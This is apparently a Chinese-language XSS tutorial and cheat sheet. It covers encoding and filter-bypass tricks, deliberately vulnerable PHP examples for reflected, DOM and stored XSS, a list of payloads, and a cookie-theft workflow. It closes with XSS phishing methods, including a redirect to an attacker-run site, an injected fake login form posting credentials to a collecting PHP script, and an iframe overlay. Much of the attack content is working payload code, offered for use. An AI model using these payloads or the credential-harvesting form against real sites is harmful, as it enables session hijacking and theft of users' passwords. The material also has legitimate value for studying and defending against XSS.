XSS的利用方式 浏览器的工作原理 访问一个链接(或者刷新一个页面),首先url解码,然后是html解码, 然后是JS解码,然后是DOM渲染。
<input type="text" autofocus> 利用h5的autofocus自动获取焦点 然后用onfocus来执行获取焦点的事件 <input type=”image”src=1 onerror=alert(1)> <input type=”image”onload=alert(1) src=./a.png?> 这里可以用?截断后面的引号,把引号当作参数。 上面这些可以自动弹窗。 <a href="javascript:alert(1) ">click me</a> 正常成功 <a href="javascript:alert(1)">click me</a> HTML10进制成功 <a href="javascript:alert(1)">click me</a> HTML 16进制成功 <a href="javascript:\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029">click me</a> JS unicode失败 <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">click me</a> JS unicode成功 <a href="javascript:\x61\x6c\x65\x72\x74(1)">click me</a> JS 16进制失败 <a href="javascript: \141\154\145\162\164(1)">click me</a> JS 8 进制失败
浏览器中使用 1.xss中最经常用到的编码 html实体编码(10进制与16进制): 如把尖括号编码[ < ] -----> html十进制: < html十六进制:< javascript的八进制跟十六进制: 如把尖括号编码[ < ] -----> js八进制:\74 js十六进制:\x3c jsunicode编码: 如把尖括号编码[ < ] ----->jsunicode:\u003c url编码 : 如把尖括号编码[ < ] -----> url: %3C base64编码: base64: PA==
2 各个编码的具体利用场景 (1)base64编码 Data协议使用方法 data:资源类型;编码,内容 到目前为止 我遇到使用base64编码的情况 大多数是这样 <a href="可控点"> <iframe src="可控点"> 在这种情况下 如果过滤了<> ' " javascript 的话 那么要xss可以这样写 然后利用base64编码! 将<img src=x onerror=alert(1)>整条base64编码为 PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
下面三组都可行 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> a的利用方式 <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> 这样当test A链接点击时 就会以data协议 页面以html/text的方式解析 编码为base64 然后单点击a链接时 base64的编码就被还原成我们原本的 <img src=x onerror=alert(1)> 然后成功弹窗!
(2)html实体编码(10进制(ASCII编码)与16进制)浏览器是不会在html标签里解析js中的那些编码的!onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的,如<img src=1>这种可以弹窗。 十进制和十六进制编码的分号是可以去掉的。实体编码的数字前可以加上很多的0进行绕过WAF,如 如以下代码可成功执行 <img src=1 onerror="alert('xss')"> =>[空格] : : =>[冒号] =>[换行 HTML5 新增的实体命名编码,如: => [冒号] => [换行
如<a href="javascript:alert(1)">click</a>
解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。 <a href="javascript:alert(1)">click</a> 首先html编码被还原出来 然后就成了换行 跟冒号 <a href="javasc ript:alert(1)">click</a> 为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双号围住,否则不会跳过。跳过回车和换行,不支持on事件. 然后就构造成了一个完整的语句 <a href="javascript:alert(1)">click</a> 代码成功执行 (3)Javascript编码 Javascript伪协议在属性值中都可以使用, 如<a href="javascript:alert('xss')">111</a>点击111后触发弹窗。 javascript中只识别几种编码:Jsunicode js8进制 js10进制 第一种情况 你输入的值存入某个变量 然后最后出现在某个能把字符串当做js代码来执行的函数里!如: eval() setTimeout() setInterval() 以上都是会将字符串当做js代码执行的函数! 第二种情况 var search = "可控点"; document.getElementById().innerHTML=search; 以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字 如果过滤了 <> ' " & % 等等这些!然后再输出到页面上! 按理说这样是安全了!但是我们把输入的值改成 js编码, 如 我们改成 <img src=x onerror=alert(1)> 然后进行js八进制编码 ==> \74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76 然后服务器端接受后 经过过滤器 没有发现该过滤的就进入到了innerHTML中 经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!
(4)URL编码 Javascript:伪协议后面可以使用URL编码。 如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗 可用img就不行:<img src=1 onerror=”javascript:%61lert(1)”> 因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转 同时后面的url编码可以再做一次entity(HTML实体)编码: <a href="javascript:%61lert(1)">click me</a> 由于entity编码允许&#之后插入任意多个0,再利用上javascript的注释混淆后: <a href="javascript: //%0a %61lert(1)">click me</a>
3 三种XSS区别:在易用上,存储型XSS > DOM - XSS > 反射型 XSS。 反射型XSS 一般出现在搜索页面 <?php $name = $_GET["name"]; ?> <input type="text" value="<?php echo $name?>"> 当我们插入”><img src=1 onerror=alert(1)>时成功触发xss DOM型XSS 简单理解就是它输出点在DOM 新版Chrome针对script context类型的domxss做了检测拦截 <div id="a">xxx</div><script> document.getElementById("a").innerHTML="\u003cimg src=1 onerror=alert(1)\u003e"; </script>
<?php error_reporting(0); $name = $_GET["name"]; ?> <input id="text" type="text" value="<?php echo $name;?>" /> <div id="print"></div> <script type="text/javascript"> var text = document.getElementById("text"); var print = document.getElementById("print"); print.innerHTML = text.value; // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。 </script>
存储型xss 就是存入了数据库,再取出来,导致的xss
<?php error_reporting(0); $name = $_GET["name"]; //连接服务器 $conn = mysql_connect("127.0.0.1","root",""); //打开数据库 mysql_select_db("test",$conn); //执行SQL mysql_query("set names 'utf8'"); $sql_insert = "insert into liuyan(id,content) values('$id','$name')"; $result = mysql_query($sql_insert,$conn); $sql_select = "select * from liuyan"; $results = mysql_fetch_array(mysql_query($sql_select)); echo $results[content]; ?>
上面这段代码写的比较简洁,可以看到用户可控的$_GET name直接被带入到数据库中,随后被查询并且输出出来了,直接导致了xss。可以做下测试,先通过 http://localhost/2.php?name=%3Cscript%3Ealert(1)%3C/script%3E 步骤一,是为了让xss代码写入数据库,步骤二是为了把恶意代码从数据库取出来并且输出在页面上。 4 各种姿势 <script>alert(1)</script> <iframe src="javascript:alert(1)"> <iframe onload=alert(1)> <img src=1 onerror=alert(1)> <a href="javascript:alert(1)">111</a> <marquee onscroll=alert(1)> <object data="javascript:alert(1)"> <svg onload=alert(1)> <body onload=alert(1)> <select name="" onmouseover=alert(1)> <script>window.setAttribute('onload',alert('xss')</script> Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)) <img src=1 onerror=with(body)createElement('script').src="外部JS地址"> 5 入侵方法 攻击者发现xss漏洞->构造代码->发送给受害人->受害人打开->窃取受害人ccookie->完成攻击. 盗取cookie:可以使用现成的xss平台. 如果cookie中的某些关键值加了HttpOnly,那么就可以避免该网页的cookie被客户端的JS存取,也就保护了用户的cookie不被盗取. 当前可见的绕过Httponly的方法大致可以分为两类:一类是服务器配置或功能实现上存在可能被利用的弱点,可归结为服务端的信息泄露。如利用404 页、PHPINFO页,Trace方法等绕过HTTPonly;另一类是客户端漏洞或功能上存在可以被利用的弱点,可归结为客户端的信息泄露。如 MS08-069、利用ajax或flash读取set-cookie等。
绕过防御 过滤了alert(1)的括号,可以用alert`1` //反引号 利用js字符串模块 eval.call`${'\141\154\145\162\164\50\61\51'}` 转换大小写<scRiPt>alert(1)<ScRipt> 绕过Php的htmlspecialchars() Php的htmlspecialchars()默认能将< > & “转成< > & " 如果用了htmlspecialchars($name, ENT_QUOTES); 则 ’ 也会被转成 ' 如果用了 htmlspecialchars ($name, ENT_NOQUOTES);则单双引号都不会被转换。 Js中可用以下代码绕过: Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)) Html中可用以下代码绕过: ‘ onmouseover=’alert(1) 源代码是<input type=”text” value=””> 变成了<input type=”text” value=” ‘ onmouseover=’alert(1)”> 2.php源代码 <?php $name = $_GET["name"]; $name = htmlspecialchars($name); ?> <input type='text' value='<?php echo $name?>'> 然后将鼠标移到那个框框后, 弹出弹窗.
Xss钓鱼(挂马): (1)xss重定向钓鱼 如自己建一个钓鱼网站www.xiumu.com, 然后受害者访问如下地址http://www.test.com/a.php?id=””><script>document.location.href=” http://www.xiumu.com”</script> (2)HTML注入式钓鱼 直接利用XSS 漏洞注射HTML/js 代码到页面中.可写一个正常的HTML表单来窃取账号密码.如:http://www.test.com/a.php?id=””<html><head><title>login</title></head><body><div style=”text-align:center;”><form method=”POST” action=”xiumu.php” name=”form”><br/><p>username</p><input type=”text” value=”” name=”a”><p>password</p><input type=”password” name=”b” value=””><br/><input type=”submit” value=”login”></form></body></html> 这样当用户直接填入账号密码提交后,你就可以在xiumu.php接收到受害者的账号密码了. Xiumu.php代码:<?php echo $_POST[‘a’]?><?php echo $_POST[‘b’]?> (3)Xss跨框架钓鱼 这种方式是通过<iframe> 嵌入远程域的一个页面实施钓鱼,http://www.test.com/a.php?id=””><iframe src=” http://www.xiumu.com” height=”100%” width=”100%”></iframe> 通过将www.xiumu.com的页面做的和test的页面相同(可利用iframe实现),但受害者看到的不是真正的test页面,而是xiumu页面. (4)Flash钓鱼 甚至不要求网站存在XSS,攻击者将构造的Flash文件(如假冒的登录框)上传到远程服务器,然后在目标网站中使用<object>或<embed>标签去引用FLASH即可. 6 参考资料 以上内容总结来自于
|